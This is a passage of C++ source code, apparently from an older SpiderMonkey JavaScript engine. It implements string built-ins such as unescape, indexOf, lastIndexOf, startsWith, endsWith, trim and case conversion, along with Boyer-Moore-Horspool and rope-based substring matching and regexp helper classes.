*/ static JSBool str_unescape(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); /* Step 1. */ JSLinearString *str = ArgToRootedString(cx, args, 0); if (!str) return false; /* * NB: use signed integers for length/index to allow simple length * comparisons without unsigned-underflow hazards. */ JS_STATIC_ASSERT(JSString::MAX_LENGTH <= INT_MAX); /* Step 2. */ int length = str->length(); const jschar *chars = str->chars(); /* Step 3. */ StringBuffer sb(cx); /* * Note that the spec algorithm has been optimized to avoid building * a string in the case where no escapes are present. */ /* Step 4. */ int k = 0; bool building = false; while (true) { /* Step 5. */ if (k == length) { JSLinearString *result; if (building) { result = sb.finishString(); if (!result) return false; } else { result = str; } args.rval().setString(result); return true; } /* Step 6. */ jschar c = chars[k]; /* Step 7. */ if (c != '%') goto step_18; /* Step 8. */ if (k > length - 6) goto step_14; /* Step 9. */ if (chars[k + 1] != 'u') goto step_14; #define ENSURE_BUILDING \ JS_BEGIN_MACRO \ if (!building) { \ building = true; \ if (!sb.reserve(length)) \ return false; \ sb.infallibleAppend(chars, chars + k); \ } \ JS_END_MACRO /* Step 10-13. */ if (Unhex4(&chars[k + 2], &c)) { ENSURE_BUILDING; k += 5; goto step_18; } step_14: /* Step 14. */ if (k > length - 3) goto step_18; /* Step 15-17. */ if (Unhex2(&chars[k + 1], &c)) { ENSURE_BUILDING; k += 2; } step_18: if (building) sb.infallibleAppend(c); /* Step 19. */ k += 1; } #undef ENSURE_BUILDING } #if JS_HAS_UNEVAL static JSBool str_uneval(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); JSString *str = js_ValueToSource(cx, args.length() != 0 ? args[0] : UndefinedValue()); if (!str) return false; args.rval().setString(str); return true; } #endif static JSFunctionSpec string_functions[] = { JS_FN(js_escape_str, str_escape, 1,0), JS_FN(js_unescape_str, str_unescape, 1,0), #if JS_HAS_UNEVAL JS_FN(js_uneval_str, str_uneval, 1,0), #endif JS_FN(js_decodeURI_str, str_decodeURI, 1,0), JS_FN(js_encodeURI_str, str_encodeURI, 1,0), JS_FN(js_decodeURIComponent_str, str_decodeURI_Component, 1,0), JS_FN(js_encodeURIComponent_str, str_encodeURI_Component, 1,0), JS_FS_END }; jschar js_empty_ucstr[] = {0}; JSSubString js_EmptySubString = {0, js_empty_ucstr}; static const unsigned STRING_ELEMENT_ATTRS = JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT; static JSBool str_enumerate(JSContext *cx, HandleObject obj) { RootedString str(cx, obj->asString().unbox()); RootedValue value(cx); for (size_t i = 0, length = str->length(); i < length; i++) { JSString *str1 = js_NewDependentString(cx, str, i, 1); if (!str1) return false; value.setString(str1); if (!JSObject::defineElement(cx, obj, i, value, JS_PropertyStub, JS_StrictPropertyStub, STRING_ELEMENT_ATTRS)) { return false; } } return true; } static JSBool str_resolve(JSContext *cx, HandleObject obj, HandleId id, unsigned flags, MutableHandleObject objp) { if (!JSID_IS_INT(id)) return JS_TRUE; JSString *str = obj->asString().unbox(); int32_t slot = JSID_TO_INT(id); if ((size_t)slot < str->length()) { JSString *str1 = cx->runtime->staticStrings.getUnitStringForElement(cx, str, size_t(slot)); if (!str1) return JS_FALSE; RootedValue value(cx, StringValue(str1)); if (!JSObject::defineElement(cx, obj, uint32_t(slot), value, NULL, NULL, STRING_ELEMENT_ATTRS)) { return JS_FALSE; } objp.set(obj); } return JS_TRUE; } Class js::StringClass = { js_String_str, JSCLASS_HAS_RESERVED_SLOTS(StringObject::RESERVED_SLOTS) | JSCLASS_NEW_RESOLVE | JSCLASS_HAS_CACHED_PROTO(JSProto_String), JS_PropertyStub, /* addProperty */ JS_PropertyStub, /* delProperty */ JS_PropertyStub, /* getProperty */ JS_StrictPropertyStub, /* setProperty */ str_enumerate, (JSResolveOp)str_resolve, JS_ConvertStub }; /* * Returns a JSString * for the |this| value associated with 'call', or throws * a TypeError if |this| is null or undefined. This algorithm is the same as * calling CheckObjectCoercible(this), then returning ToString(this), as all * String.prototype.* methods do (other than toString and valueOf). */ static JS_ALWAYS_INLINE JSString * ThisToStringForStringProto(JSContext *cx, CallReceiver call) { JS_CHECK_RECURSION(cx, return NULL); if (call.thisv().isString()) return call.thisv().toString(); if (call.thisv().isObject()) { RootedObject obj(cx, &call.thisv().toObject()); if (obj->isString()) { Rooted id(cx, NameToId(cx->runtime->atomState.toStringAtom)); if (ClassMethodIsNative(cx, obj, &StringClass, id, js_str_toString)) { JSString *str = obj->asString().unbox(); call.setThis(StringValue(str)); return str; } } } else if (call.thisv().isNullOrUndefined()) { JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL, JSMSG_CANT_CONVERT_TO, call.thisv().isNull() ? "null" : "undefined", "object"); return NULL; } JSString *str = ToStringSlow(cx, call.thisv()); if (!str) return NULL; call.setThis(StringValue(str)); return str; } JS_ALWAYS_INLINE bool IsString(const Value &v) { return v.isString() || (v.isObject() && v.toObject().hasClass(&StringClass)); } #if JS_HAS_TOSOURCE /* * String.prototype.quote is generic (as are most string methods), unlike * toSource, toString, and valueOf. */ static JSBool str_quote(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); JSString *str = ThisToStringForStringProto(cx, args); if (!str) return false; str = js_QuoteString(cx, str, '"'); if (!str) return false; args.rval().setString(str); return true; } JS_ALWAYS_INLINE bool str_toSource_impl(JSContext *cx, CallArgs args) { JS_ASSERT(IsString(args.thisv())); Rooted str(cx, ToString(cx, args.thisv())); if (!str) return false; str = js_QuoteString(cx, str, '"'); if (!str) return false; StringBuffer sb(cx); if (!sb.append("(new String(") || !sb.append(str) || !sb.append("))")) return false; str = sb.finishString(); if (!str) return false; args.rval().setString(str); return true; } JSBool str_toSource(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); return CallNonGenericMethod(cx, args); } #endif /* JS_HAS_TOSOURCE */ JS_ALWAYS_INLINE bool str_toString_impl(JSContext *cx, CallArgs args) { JS_ASSERT(IsString(args.thisv())); args.rval().setString(args.thisv().isString() ? args.thisv().toString() : args.thisv().toObject().asString().unbox()); return true; } JSBool js_str_toString(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); return CallNonGenericMethod(cx, args); } /* * Java-like string native methods. */ JS_ALWAYS_INLINE bool ValueToIntegerRange(JSContext *cx, const Value &v, int32_t *out) { if (v.isInt32()) { *out = v.toInt32(); } else { double d; if (!ToInteger(cx, v, &d)) return false; if (d > INT32_MAX) *out = INT32_MAX; else if (d < INT32_MIN) *out = INT32_MIN; else *out = int32_t(d); } return true; } static JSBool str_substring(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; int32_t length, begin, end; if (args.length() > 0) { end = length = int32_t(str->length()); if (!ValueToIntegerRange(cx, args[0], &begin)) return false; if (begin < 0) begin = 0; else if (begin > length) begin = length; if (args.hasDefined(1)) { if (!ValueToIntegerRange(cx, args[1], &end)) return false; if (end > length) { end = length; } else { if (end < 0) end = 0; if (end < begin) { int32_t tmp = begin; begin = end; end = tmp; } } } str = js_NewDependentString(cx, str, size_t(begin), size_t(end - begin)); if (!str) return false; } args.rval().setString(str); return true; } JSString* JS_FASTCALL js_toLowerCase(JSContext *cx, JSString *str) { size_t n = str->length(); const jschar *s = str->getChars(cx); if (!s) return NULL; jschar *news = (jschar *) cx->malloc_((n + 1) * sizeof(jschar)); if (!news) return NULL; for (size_t i = 0; i < n; i++) news[i] = unicode::ToLowerCase(s[i]); news[n] = 0; str = js_NewString(cx, news, n); if (!str) { cx->free_(news); return NULL; } return str; } static inline bool ToLowerCaseHelper(JSContext *cx, CallReceiver call) { JSString *str = ThisToStringForStringProto(cx, call); if (!str) return false; str = js_toLowerCase(cx, str); if (!str) return false; call.rval().setString(str); return true; } static JSBool str_toLowerCase(JSContext *cx, unsigned argc, Value *vp) { return ToLowerCaseHelper(cx, CallArgsFromVp(argc, vp)); } static JSBool str_toLocaleLowerCase(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); /* * Forcefully ignore the first (or any) argument and return toLowerCase(), * ECMA has reserved that argument, presumably for defining the locale. */ if (cx->localeCallbacks && cx->localeCallbacks->localeToLowerCase) { RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; Value result; if (!cx->localeCallbacks->localeToLowerCase(cx, str, &result)) return false; args.rval().set(result); return true; } return ToLowerCaseHelper(cx, args); } JSString* JS_FASTCALL js_toUpperCase(JSContext *cx, JSString *str) { size_t n = str->length(); const jschar *s = str->getChars(cx); if (!s) return NULL; jschar *news = (jschar *) cx->malloc_((n + 1) * sizeof(jschar)); if (!news) return NULL; for (size_t i = 0; i < n; i++) news[i] = unicode::ToUpperCase(s[i]); news[n] = 0; str = js_NewString(cx, news, n); if (!str) { cx->free_(news); return NULL; } return str; } static JSBool ToUpperCaseHelper(JSContext *cx, CallReceiver call) { JSString *str = ThisToStringForStringProto(cx, call); if (!str) return false; str = js_toUpperCase(cx, str); if (!str) return false; call.rval().setString(str); return true; } static JSBool str_toUpperCase(JSContext *cx, unsigned argc, Value *vp) { return ToUpperCaseHelper(cx, CallArgsFromVp(argc, vp)); } static JSBool str_toLocaleUpperCase(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); /* * Forcefully ignore the first (or any) argument and return toUpperCase(), * ECMA has reserved that argument, presumably for defining the locale. */ if (cx->localeCallbacks && cx->localeCallbacks->localeToUpperCase) { RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; Value result; if (!cx->localeCallbacks->localeToUpperCase(cx, str, &result)) return false; args.rval().set(result); return true; } return ToUpperCaseHelper(cx, args); } static JSBool str_localeCompare(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; if (args.length() == 0) { args.rval().setInt32(0); } else { RootedString thatStr(cx, ToString(cx, args[0])); if (!thatStr) return false; if (cx->localeCallbacks && cx->localeCallbacks->localeCompare) { args[0].setString(thatStr); Value result; if (!cx->localeCallbacks->localeCompare(cx, str, thatStr, &result)) return true; args.rval().set(result); return true; } int32_t result; if (!CompareStrings(cx, str, thatStr, &result)) return false; args.rval().setInt32(result); } return true; } JSBool js_str_charAt(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx); size_t i; if (args.thisv().isString() && args.length() != 0 && args[0].isInt32()) { str = args.thisv().toString(); i = size_t(args[0].toInt32()); if (i >= str->length()) goto out_of_range; } else { str = ThisToStringForStringProto(cx, args); if (!str) return false; double d = 0.0; if (args.length() > 0 && !ToInteger(cx, args[0], &d)) return false; if (d < 0 || str->length() <= d) goto out_of_range; i = size_t(d); } str = cx->runtime->staticStrings.getUnitStringForElement(cx, str, i); if (!str) return false; args.rval().setString(str); return true; out_of_range: args.rval().setString(cx->runtime->emptyString); return true; } JSBool js_str_charCodeAt(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx); size_t i; if (args.thisv().isString() && args.length() != 0 && args[0].isInt32()) { str = args.thisv().toString(); i = size_t(args[0].toInt32()); if (i >= str->length()) goto out_of_range; } else { str = ThisToStringForStringProto(cx, args); if (!str) return false; double d = 0.0; if (args.length() > 0 && !ToInteger(cx, args[0], &d)) return false; if (d < 0 || str->length() <= d) goto out_of_range; i = size_t(d); } const jschar *chars; chars = str->getChars(cx); if (!chars) return false; args.rval().setInt32(chars[i]); return true; out_of_range: args.rval().setDouble(js_NaN); return true; } /* * Boyer-Moore-Horspool superlinear search for pat:patlen in text:textlen. * The patlen argument must be positive and no greater than sBMHPatLenMax. * * Return the index of pat in text, or -1 if not found. */ static const uint32_t sBMHCharSetSize = 256; /* ISO-Latin-1 */ static const uint32_t sBMHPatLenMax = 255; /* skip table element is uint8_t */ static const int sBMHBadPattern = -2; /* return value if pat is not ISO-Latin-1 */ int js_BoyerMooreHorspool(const jschar *text, uint32_t textlen, const jschar *pat, uint32_t patlen) { uint8_t skip[sBMHCharSetSize]; JS_ASSERT(0 < patlen && patlen <= sBMHPatLenMax); for (uint32_t i = 0; i < sBMHCharSetSize; i++) skip[i] = (uint8_t)patlen; uint32_t m = patlen - 1; for (uint32_t i = 0; i < m; i++) { jschar c = pat[i]; if (c >= sBMHCharSetSize) return sBMHBadPattern; skip[c] = (uint8_t)(m - i); } jschar c; for (uint32_t k = m; k < textlen; k += ((c = text[k]) >= sBMHCharSetSize) ? patlen : skip[c]) { for (uint32_t i = k, j = m; ; i--, j--) { if (text[i] != pat[j]) break; if (j == 0) return static_cast(i); /* safe: max string size */ } } return -1; } struct MemCmp { typedef uint32_t Extent; static JS_ALWAYS_INLINE Extent computeExtent(const jschar *, uint32_t patlen) { return (patlen - 1) * sizeof(jschar); } static JS_ALWAYS_INLINE bool match(const jschar *p, const jschar *t, Extent extent) { return memcmp(p, t, extent) == 0; } }; struct ManualCmp { typedef const jschar *Extent; static JS_ALWAYS_INLINE Extent computeExtent(const jschar *pat, uint32_t patlen) { return pat + patlen; } static JS_ALWAYS_INLINE bool match(const jschar *p, const jschar *t, Extent extent) { for (; p != extent; ++p, ++t) { if (*p != *t) return false; } return true; } }; template static int UnrolledMatch(const jschar *text, uint32_t textlen, const jschar *pat, uint32_t patlen) { JS_ASSERT(patlen > 0 && textlen > 0); const jschar *textend = text + textlen - (patlen - 1); const jschar p0 = *pat; const jschar *const patNext = pat + 1; const typename InnerMatch::Extent extent = InnerMatch::computeExtent(pat, patlen); uint8_t fixup; const jschar *t = text; switch ((textend - t) & 7) { case 0: if (*t++ == p0) { fixup = 8; goto match; } case 7: if (*t++ == p0) { fixup = 7; goto match; } case 6: if (*t++ == p0) { fixup = 6; goto match; } case 5: if (*t++ == p0) { fixup = 5; goto match; } case 4: if (*t++ == p0) { fixup = 4; goto match; } case 3: if (*t++ == p0) { fixup = 3; goto match; } case 2: if (*t++ == p0) { fixup = 2; goto match; } case 1: if (*t++ == p0) { fixup = 1; goto match; } } while (t != textend) { if (t[0] == p0) { t += 1; fixup = 8; goto match; } if (t[1] == p0) { t += 2; fixup = 7; goto match; } if (t[2] == p0) { t += 3; fixup = 6; goto match; } if (t[3] == p0) { t += 4; fixup = 5; goto match; } if (t[4] == p0) { t += 5; fixup = 4; goto match; } if (t[5] == p0) { t += 6; fixup = 3; goto match; } if (t[6] == p0) { t += 7; fixup = 2; goto match; } if (t[7] == p0) { t += 8; fixup = 1; goto match; } t += 8; continue; do { if (*t++ == p0) { match: if (!InnerMatch::match(patNext, t, extent)) goto failed_match; return t - text - 1; } failed_match:; } while (--fixup > 0); } return -1; } static JS_ALWAYS_INLINE int StringMatch(const jschar *text, uint32_t textlen, const jschar *pat, uint32_t patlen) { if (patlen == 0) return 0; if (textlen < patlen) return -1; #if defined(__i386__) || defined(_M_IX86) || defined(__i386) /* * Given enough registers, the unrolled loop below is faster than the * following loop. 32-bit x86 does not have enough registers. */ if (patlen == 1) { const jschar p0 = *pat; for (const jschar *c = text, *end = text + textlen; c != end; ++c) { if (*c == p0) return c - text; } return -1; } #endif /* * If the text or pattern string is short, BMH will be more expensive than * the basic linear scan due to initialization cost and a more complex loop * body. While the correct threshold is input-dependent, we can make a few * conservative observations: * - When |textlen| is "big enough", the initialization time will be * proportionally small, so the worst-case slowdown is minimized. * - When |patlen| is "too small", even the best case for BMH will be * slower than a simple scan for large |textlen| due to the more complex * loop body of BMH. * From this, the values for "big enough" and "too small" are determined * empirically. See bug 526348. */ if (textlen >= 512 && patlen >= 11 && patlen <= sBMHPatLenMax) { int index = js_BoyerMooreHorspool(text, textlen, pat, patlen); if (index != sBMHBadPattern) return index; } /* * For big patterns with large potential overlap we want the SIMD-optimized * speed of memcmp. For small patterns, a simple loop is faster. * * FIXME: Linux memcmp performance is sad and the manual loop is faster. */ return #if !defined(__linux__) patlen > 128 ? UnrolledMatch(text, textlen, pat, patlen) : #endif UnrolledMatch(text, textlen, pat, patlen); } static const size_t sRopeMatchThresholdRatioLog2 = 5; /* * RopeMatch takes the text to search and the pattern to search for in the text. * RopeMatch returns false on OOM and otherwise returns the match index through * the 'match' outparam (-1 for not found). */ static bool RopeMatch(JSContext *cx, JSString *textstr, const jschar *pat, uint32_t patlen, int *match) { JS_ASSERT(textstr->isRope()); if (patlen == 0) { *match = 0; return true; } if (textstr->length() < patlen) { *match = -1; return true; } /* * List of leaf nodes in the rope. If we run out of memory when trying to * append to this list, we can still fall back to StringMatch, so use the * system allocator so we don't report OOM in that case. */ Vector strs; /* * We don't want to do rope matching if there is a poor node-to-char ratio, * since this means spending a lot of time in the match loop below. We also * need to build the list of leaf nodes. Do both here: iterate over the * nodes so long as there are not too many. */ { size_t textstrlen = textstr->length(); size_t threshold = textstrlen >> sRopeMatchThresholdRatioLog2; StringSegmentRange r(cx); if (!r.init(textstr)) return false; while (!r.empty()) { if (threshold-- == 0 || !strs.append(r.front())) { const jschar *chars = textstr->getChars(cx); if (!chars) return false; *match = StringMatch(chars, textstrlen, pat, patlen); return true; } if (!r.popFront()) return false; } } /* Absolute offset from the beginning of the logical string textstr. */ int pos = 0; for (JSLinearString **outerp = strs.begin(); outerp != strs.end(); ++outerp) { /* Try to find a match within 'outer'. */ JSLinearString *outer = *outerp; const jschar *chars = outer->chars(); size_t len = outer->length(); int matchResult = StringMatch(chars, len, pat, patlen); if (matchResult != -1) { /* Matched! */ *match = pos + matchResult; return true; } /* Try to find a match starting in 'outer' and running into other nodes. */ const jschar *const text = chars + (patlen > len ? 0 : len - patlen + 1); const jschar *const textend = chars + len; const jschar p0 = *pat; const jschar *const p1 = pat + 1; const jschar *const patend = pat + patlen; for (const jschar *t = text; t != textend; ) { if (*t++ != p0) continue; JSLinearString **innerp = outerp; const jschar *ttend = textend; for (const jschar *pp = p1, *tt = t; pp != patend; ++pp, ++tt) { while (tt == ttend) { if (++innerp == strs.end()) { *match = -1; return true; } JSLinearString *inner = *innerp; tt = inner->chars(); ttend = tt + inner->length(); } if (*pp != *tt) goto break_continue; } /* Matched! */ *match = pos + (t - chars) - 1; /* -1 because of *t++ above */ return true; break_continue:; } pos += len; } *match = -1; return true; } #if 0 /* ES6 20120708 draft 15.5.4.24. */ static JSBool str_contains(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); // Steps 1 and 2 RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; // Step 3 Rooted patstr(cx, ArgToRootedString(cx, args, 0)); if (!patstr) return false; // Step 5 uint32_t textlen = str->length(); const jschar *text = str->getChars(cx); if (!text) return false; // XXX fix for moving GC. SkipRoot skip(cx, &text); if (args.hasDefined(1)) { // Step 4 double posDouble; if (!ToInteger(cx, args[1], &posDouble)) return false; // Step 6 uint32_t delta = uint32_t(Min(double(textlen), Max(0.0, posDouble))); text += delta; textlen -= delta; } // Step 7 uint32_t patlen = patstr->length(); const jschar *pat = patstr->chars(); // Step 8 args.rval().setBoolean(StringMatch(text, textlen, pat, patlen) >= 0); return true; } #endif static JSBool str_indexOf(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; JSLinearString *patstr = ArgToRootedString(cx, args, 0); if (!patstr) return false; uint32_t textlen = str->length(); const jschar *text = str->getChars(cx); if (!text) return false; uint32_t patlen = patstr->length(); const jschar *pat = patstr->chars(); SkipRoot skipPat(cx, &pat); uint32_t start; if (args.length() > 1) { if (args[1].isInt32()) { int i = args[1].toInt32(); if (i <= 0) { start = 0; } else if (uint32_t(i) > textlen) { start = textlen; textlen = 0; } else { start = i; text += start; textlen -= start; } } else { double d; if (!ToInteger(cx, args[1], &d)) return false; if (d <= 0) { start = 0; } else if (d > textlen) { start = textlen; textlen = 0; } else { start = (int)d; text += start; textlen -= start; } } } else { start = 0; } int match = StringMatch(text, textlen, pat, patlen); args.rval().setInt32((match == -1) ? -1 : start + match); return true; } static JSBool str_lastIndexOf(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString textstr(cx, ThisToStringForStringProto(cx, args)); if (!textstr) return false; size_t textlen = textstr->length(); Rooted patstr(cx, ArgToRootedString(cx, args, 0)); if (!patstr) return false; size_t patlen = patstr->length(); int i = textlen - patlen; // Start searching here if (i < 0) { args.rval().setInt32(-1); return true; } if (args.length() > 1) { if (args[1].isInt32()) { int j = args[1].toInt32(); if (j <= 0) i = 0; else if (j < i) i = j; } else { double d; if (!ToNumber(cx, args[1], &d)) return false; if (!MOZ_DOUBLE_IS_NaN(d)) { d = ToInteger(d); if (d <= 0) i = 0; else if (d < i) i = (int)d; } } } if (patlen == 0) { args.rval().setInt32(i); return true; } const jschar *text = textstr->getChars(cx); if (!text) return false; const jschar *pat = patstr->chars(); const jschar *t = text + i; const jschar *textend = text - 1; const jschar p0 = *pat; const jschar *patNext = pat + 1; const jschar *patEnd = pat + patlen; for (; t != textend; --t) { if (*t == p0) { const jschar *t1 = t + 1; for (const jschar *p1 = patNext; p1 != patEnd; ++p1, ++t1) { if (*t1 != *p1) goto break_continue; } args.rval().setInt32(t - text); return true; } break_continue:; } args.rval().setInt32(-1); return true; } /* ES6 20120708 draft 15.5.4.22. */ static JSBool str_startsWith(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); // Steps 1 and 2 RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; // Step 3 Rooted patstr(cx, ArgToRootedString(cx, args, 0)); if (!patstr) return false; // Step 5 uint32_t textlen = str->length(); const jschar *text = str->getChars(cx); if (!text) return false; // XXX fix for moving GC. SkipRoot skip(cx, &text); if (args.hasDefined(1)) { // Step 4 double posDouble; if (!ToInteger(cx, args[1], &posDouble)) return false; // Step 6 uint32_t position = Min(double(textlen), Max(0.0, posDouble)); text += position; textlen -= position; } // Step 7 uint32_t patlen = patstr->length(); const jschar *pat = patstr->chars(); // Steps 8, 9, and 10. args.rval().setBoolean(textlen >= patlen && PodEqual(text, pat, patlen)); return true; } /* ES6 20120708 draft 15.5.4.23. */ static JSBool str_endsWith(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); // Steps 1 and 2 RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; // Step 3 Rooted patstr(cx, ArgToRootedString(cx, args, 0)); if (!patstr) return false; // Step 4 uint32_t textlen = str->length(); const jschar *text = str->getChars(cx); if (!text) return false; // XXX fix for moving GC. SkipRoot skip(cx, &text); if (args.hasDefined(1)) { // Step 5 double endPosDouble; if (!ToInteger(cx, args[1], &endPosDouble)) return false; // Step 6 textlen = Min(double(textlen), Max(0.0, endPosDouble)); } // Step 7 uint32_t patlen = patstr->length(); const jschar *pat = patstr->chars(); // Steps 8-11 args.rval().setBoolean(textlen >= patlen && PodEqual(text + textlen - patlen, pat, patlen)); return true; } static JSBool js_TrimString(JSContext *cx, Value *vp, JSBool trimLeft, JSBool trimRight) { CallReceiver call = CallReceiverFromVp(vp); JSString *str = ThisToStringForStringProto(cx, call); if (!str) return false; size_t length = str->length(); const jschar *chars = str->getChars(cx); if (!chars) return false; size_t begin = 0; size_t end = length; if (trimLeft) { while (begin < length && unicode::IsSpace(chars[begin])) ++begin; } if (trimRight) { while (end > begin && unicode::IsSpace(chars[end - 1])) --end; } str = js_NewDependentString(cx, str, begin, end - begin); if (!str) return false; call.rval().setString(str); return true; } static JSBool str_trim(JSContext *cx, unsigned argc, Value *vp) { return js_TrimString(cx, vp, JS_TRUE, JS_TRUE); } static JSBool str_trimLeft(JSContext *cx, unsigned argc, Value *vp) { return js_TrimString(cx, vp, JS_TRUE, JS_FALSE); } static JSBool str_trimRight(JSContext *cx, unsigned argc, Value *vp) { return js_TrimString(cx, vp, JS_FALSE, JS_TRUE); } /* * Perl-inspired string functions. */ /* Result of a successfully performed flat match. */ class FlatMatch { RootedAtom patstr; const jschar *pat; size_t patlen; int32_t match_; friend class StringRegExpGuard; public: FlatMatch(JSContext *cx) : patstr(cx) {} JSLinearString *pattern() const { return patstr; } size_t patternLength() const { return patlen; } /* * Note: The match is -1 when the match is performed successfully, * but no match is found. */ int32_t match() const { return match_; } }; static inline bool IsRegExpMetaChar(jschar c) { switch (c) { /* Taken from the PatternCharacter production in 15.10.1. */ case '^': case '$': case '\\': case '.': case '*': case '+': case '?': case '(': case ')': case '[': case ']': case '{': case '}': case '|': return true; default: return false; } } static inline bool HasRegExpMetaChars(const jschar *chars, size_t length) { for (size_t i = 0; i < length; ++i) { if (IsRegExpMetaChar(chars[i])) return true; } return false; } /* * StringRegExpGuard factors logic out of String regexp operations. * * |optarg| indicates in which argument position RegExp flags will be found, if * present. This is a Mozilla extension and not part of any ECMA spec. */ class StringRegExpGuard { StringRegExpGuard(const StringRegExpGuard &) MOZ_DELETE; void operator=(const StringRegExpGuard &) MOZ_DELETE; RegExpGuard re_; FlatMatch fm; /* * Upper bound on the number of characters we are willing to potentially * waste on searching for RegExp meta-characters. */ static const size_t MAX_FLAT_PAT_LEN = 256; static JSAtom * flattenPattern(JSContext *cx, JSAtom *patstr) { StringBuffer sb(cx); if (!sb.reserve(patstr->length())) return NULL; static const jschar ESCAPE_CHAR = '\\'; const jschar *chars = patstr->chars(); size_t len = patstr->length(); for (const jschar *it = chars; it != chars + len; ++it) { if (IsRegExpMetaChar(*it)) { if (!sb.append(ESCAPE_CHAR) || !sb.append(*it)) return NULL; } else { if (!sb.append(*it)) return NULL; } } return sb.finishAtom(); } public: StringRegExpGuard(JSContext *cx) : fm(cx) {} /* init must succeed in order to call tryFlatMatch or normalizeRegExp. */ bool init(JSContext *cx, CallArgs args, bool convertVoid = false) { if (args.length() != 0 && IsObjectWithClass(args[0], ESClass_RegExp, cx)) { if (!RegExpToShared(cx, args[0].toObject(), &re_)) return false; } else { if (convertVoid && !args.hasDefined(0)) { fm.patstr = cx->runtime->emptyString; return true; } JSString *arg = ArgToRootedString(cx, args, 0); if (!arg) return false; fm.patstr = AtomizeString(cx, arg); if (!fm.patstr) return false; } return true; } /* * Attempt to match |patstr| to |textstr|. A flags argument, metachars in the * pattern string, or a lengthy pattern string can thwart this process. * * |checkMetaChars| looks for regexp metachars in the pattern string. * * Return whether flat matching could be used. * * N.B. tryFlatMatch returns NULL on OOM, so the caller must check cx->isExceptionPending(). */ const FlatMatch * tryFlatMatch(JSContext *cx, JSString *textstr, unsigned optarg, unsigned argc, bool checkMetaChars = true) { if (re_.initialized()) return NULL; fm.pat = fm.patstr->chars(); fm.patlen = fm.patstr->length(); if (optarg < argc) return NULL; if (checkMetaChars && (fm.patlen > MAX_FLAT_PAT_LEN || HasRegExpMetaChars(fm.pat, fm.patlen))) { return NULL; } /* * textstr could be a rope, so we want to avoid flattening it for as * long as possible. */ if (textstr->isRope()) { if (!RopeMatch(cx, textstr, fm.pat, fm.patlen, &fm.match_)) return NULL; } else { const jschar *text = textstr->asLinear().chars(); size_t textlen = textstr->length(); fm.match_ = StringMatch(text, textlen, fm.pat, fm.patlen); } return &fm; } /* If the pattern is not already a regular expression, make it so. */ bool normalizeRegExp(JSContext *cx, bool flat, unsigned optarg, CallArgs args) { if (re_.initialized()) return true; /* Build RegExp from pattern string. */ RootedString opt(cx); if (optarg < args.length()) { opt = ToString(cx, args[optarg]); if (!opt) return false; } else { opt = NULL; } JSAtom *patstr; if (flat) { patstr = flattenPattern(cx, fm.patstr); if (!patstr) return false; } else { patstr = fm.patstr; } JS_ASSERT(patstr); return cx->compartment->regExps.get(cx, patstr, opt, &re_); } RegExpShared ®Exp() { return *re_; } }; /* ExecuteRegExp indicates success in two ways, based on the 'test' flag. */ static JS_ALWAYS_INLINE bool Matched(RegExpExecType type, const Value &v) { return (type == RegExpTest) ? v.isTrue() : !v.isNull(); } typedef bool (*DoMatchCallback)(JSContext *cx, RegExpStatics *res, size_t count, void *data); /* * BitOR-ing these flags allows the DoMatch caller to control when how the * RegExp engine is called and when callbacks are fired. */ enum MatchControlFlags { TEST_GLOBAL_BIT = 0x1, /* use RegExp.test for global regexps */ TEST_SINGLE_BIT = 0x2, /* use RegExp.test for non-global regexps */ CALLBACK_ON_SINGLE_BIT = 0x4, /* fire callback on non-global match */ MATCH_ARGS = TEST_GLOBAL_BIT, MATCHALL_ARGS = CALLBACK_ON_SINGLE_BIT, REPLACE_ARGS = TEST_GLOBAL_BIT | TEST_SINGLE_BIT | CALLBACK_ON_SINGLE_BIT }; /* Factor out looping and matching logic. */ static bool DoMatch(JSContext *cx, RegExpStatics *res, JSString *str, RegExpShared &re, DoMatchCallback callback, void *data, MatchControlFlags flags, Value *rval) { Rooted linearStr(cx, str->ensureLinear(cx)); if (!linearStr) return false; if (re.global()) { RegExpExecType type = (flags & TEST_GLOBAL_BIT) ? RegExpTest : RegExpExec; for (size_t count = 0, i = 0, length = str->length(); i <= length; ++count) { if (!JS_CHECK_OPERATION_LIMIT(cx)) return false; const jschar *chars = linearStr->chars(); size_t charsLen = linearStr->length(); if (!ExecuteRegExp(cx, res, re, linearStr, chars, charsLen, &i, type, rval)) return false; if (!Matched(type, *rval)) break; if (!callback(cx, res, count, data)) return false; if (!res->matched()) ++i; } } else { const jschar *chars = linearStr->chars(); size_t charsLen = linearStr->length(); RegExpExecType type = (flags & TEST_SINGLE_BIT) ? RegExpTest : RegExpExec; bool callbackOnSingle = !!(flags & CALLBACK_ON_SINGLE_BIT); size_t i = 0; if (!ExecuteRegExp(cx, res, re, linearStr, chars, charsLen, 